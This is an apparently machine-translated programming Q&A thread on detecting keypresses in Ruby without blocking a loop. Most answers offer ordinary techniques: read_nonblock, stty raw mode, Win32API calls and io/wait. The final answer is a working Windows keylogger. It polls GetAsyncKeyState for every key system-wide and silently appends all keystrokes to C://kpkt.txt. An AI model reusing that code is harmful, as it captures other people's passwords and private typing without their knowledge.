Обнаружение нажатия клавиш (неблокирующее) без getc / gets в Ruby - PullRequest
18 голосов
/ 03 июня 2009

У меня есть простая задача, которой нужно подождать, пока что-то изменится в файловой системе (это по сути компилятор для прототипов). Итак, у меня есть простой бесконечный цикл с 5-секундным сном после проверки на наличие измененных файлов.

loop do
  # if files changed
  #   process files
  #   and puts result
  sleep 5
end

Вместо приветствия Ctrl+C я бы предпочел проверить и посмотреть, была ли нажата клавиша, не блокируя цикл. По сути, мне просто нужен способ узнать, есть ли входящие нажатия клавиш, затем способ захватить их, пока не будет достигнут Q, и выйти из программы.

То, что я хочу, это:

def wait_for_Q
  key_is_pressed && get_ch == 'Q'
end

loop do
  # if files changed
  #   process files
  #   and puts result
  wait_for_Q or sleep 5
end

Или это Руби просто не делает (хорошо)?

Ответы [ 6 ]

13 голосов
/ 04 июня 2009

Вот один из способов сделать это, используя IO#read_nonblock:

def quit?
  begin
    # See if a 'Q' has been typed yet
    while c = STDIN.read_nonblock(1)
      puts "I found a #{c}"
      return true if c == 'Q'
    end
    # No 'Q' found
    false
  rescue Errno::EINTR
    puts "Well, your device seems a little slow..."
    false
  rescue Errno::EAGAIN
    # nothing was ready to be read
    puts "Nothing to be read..."
    false
  rescue EOFError
    # quit on the end of the input stream
    # (user hit CTRL-D)
    puts "Who hit CTRL-D, really?"
    true
  end
end

loop do
  puts "I'm a loop!"
  puts "Checking to see if I should quit..."
  break if quit?
  puts "Nope, let's take a nap"
  sleep 5
  puts "Onto the next iteration!"
end

puts "Oh, I quit."

Имейте в виду, что даже при использовании неблокирующего ввода-вывода он все равно буферизуется ввода-вывода. Это означает, что ваши пользователи должны будут нажать Q, а затем <Enter>. Если вы хотите сделать небуферизованный ввод-вывод, я бы предложил проверить библиотеку ruby's curses.

9 голосов
/ 06 ноября 2012

Сочетание других ответов дает желаемое поведение. Протестировано в ruby ​​1.9.3 на OSX и Linux.

loop do
  puts 'foo'
  system("stty raw -echo")
  char = STDIN.read_nonblock(1) rescue nil
  system("stty -raw echo")
  break if /q/i =~ char
  sleep(2)
end
9 голосов
/ 30 января 2011

Вы также можете сделать это без буфера. В системах на основе Unix это просто:

system("stty raw -echo") #=> Raw mode, no echo
char = STDIN.getc
system("stty -raw echo") #=> Reset terminal mode
puts char

Это будет ждать нажатия клавиши и возвращать код символа. Не нужно нажимать.

Поместите char = STDIN.getc в цикл, и вы получите это!

Если вы работаете в Windows, то, согласно The Ruby Way, вам нужно либо написать расширение на C, либо использовать этот маленький трюк (хотя это было написано в 2001 году, так что может быть лучше)

require 'Win32API'
char = Win32API.new('crtdll','_getch', [], 'L').Call

Вот моя ссылка: великая книга, если у вас ее нет, вы должны

7 голосов
/ 26 марта 2014

Объединив различные решения, которые я только что прочитал, я нашел кросс-платформенный способ решения этой проблемы. Подробности здесь , но вот соответствующий фрагмент кода: метод GetKey.getkey, возвращающий код ASCII, или nil, если ни одна из них не была нажата.

Должно работать как в Windows, так и в Unix.

module GetKey

  # Check if Win32API is accessible or not
  @use_stty = begin
    require 'Win32API'
    false
  rescue LoadError
    # Use Unix way
    true
  end

  # Return the ASCII code last key pressed, or nil if none
  #
  # Return::
  # * _Integer_: ASCII code of the last key pressed, or nil if none
  def self.getkey
    if @use_stty
      system('stty raw -echo') # => Raw mode, no echo
      char = (STDIN.read_nonblock(1).ord rescue nil)
      system('stty -raw echo') # => Reset terminal mode
      return char
    else
      return Win32API.new('crtdll', '_kbhit', [ ], 'I').Call.zero? ? nil : Win32API.new('crtdll', '_getch', [ ], 'L').Call
    end
  end

end

А вот простая программа для проверки:

loop do
  k = GetKey.getkey
  puts "Key pressed: #{k.inspect}"
  sleep 1
end

В приведенной выше ссылке я также показываю, как использовать библиотеку curses, но в Windows результат становится немного странным.

1 голос
/ 16 ноября 2009

Вы также можете изучить библиотеку 'io / wait' для Ruby, которая предоставляет метод ready? для всех объектов ввода-вывода. Я специально не проверял вашу ситуацию, но использую ее в библиотеке на основе сокетов, над которой я работаю. В вашем случае, при условии, что STDIN является просто стандартным объектом ввода-вывода, вы, вероятно, могли бы выйти в тот момент, когда ready? возвращает ненулевой результат, если вы не заинтересованы в выяснении, какая клавиша была фактически нажата. Эта функциональность может быть реализована через require 'io/wait', который является частью стандартной библиотеки Ruby. Я не уверен, что он работает во всех средах, но стоит попробовать. Rdocs: http://ruby -doc.org / stdlib / libdoc / io / wait / rdoc /

0 голосов
/ 10 ноября 2016

Теперь используйте это

require 'Win32API'

VK_SHIFT = 0x10
VK_ESC = 0x1B

def check_shifts()
    $listener.call(VK_SHIFT) != 0 ? true : false
end

# create empty Hash of key codes
keys = Hash.new

# create empty Hash for shift characters
uppercase = Hash.new

# add letters
(0x41..0x5A).each { |code| keys[code.chr.downcase] = code }

# add numbers
(0x30..0x39).each { |code| keys[code-0x30] = code }

# add special characters
keys[';'] = 0xBA; keys['='] = 0xBB; keys[','] = 0xBC; keys['-'] = 0xBD; keys['.'] = 0xBE 
keys['/'] = 0xBF; keys['`'] = 0xC0; keys['['] = 0xDB; keys[']'] = 0xDD; keys["'"] = 0xDE 
keys['\\'] = 0xDC

# add custom key macros
keys["\n"] = 0x0D; keys["\t"] = 0x09; keys['(backspace)'] = 0x08; keys['(CAPSLOCK)'] = 0x14

# add for uppercase letters
('a'..'z').each { |char| uppercase[char] = char.upcase }

# add for uppercase numbers
uppercase[1] = '!'; uppercase[2] = '@'; uppercase[3] = '#'; uppercase[4] = '$'; uppercase[5] = '%'
uppercase[6] = '^'; uppercase[7] = '&'; uppercase[8] = '*'; uppercase[9] = '('; uppercase[0] = ')'

# add for uppercase special characters
uppercase[';'] = ':'; uppercase['='] = '+'; uppercase[','] = '<'; uppercase['-'] = '_'; uppercase['.'] = '>'
uppercase['/'] = '?'; uppercase['`'] = '~'; uppercase['['] = '{'; uppercase[']'] = '}'; uppercase["'"] = '"'
uppercase['\\'] = '|'

# create a listener for Windows key-presses
$listener = Win32API.new('user32', 'GetAsyncKeyState', ['i'], 'i')

# call listener once to initialize lsb's
keys.each_value { |code| $listener.call(code) }

logs = File.open('C://kpkt.txt', 'a')

while true
    break if $listener.call(VK_ESC) != 0

    keys.each do |char, code|
        n = $listener.call(code)
        if n and n & 0x01 == 1
            check_shifts() ? logs.write("#{uppercase[char]}") : logs.write("#{char}")
        end
    end
end

logs.close()
...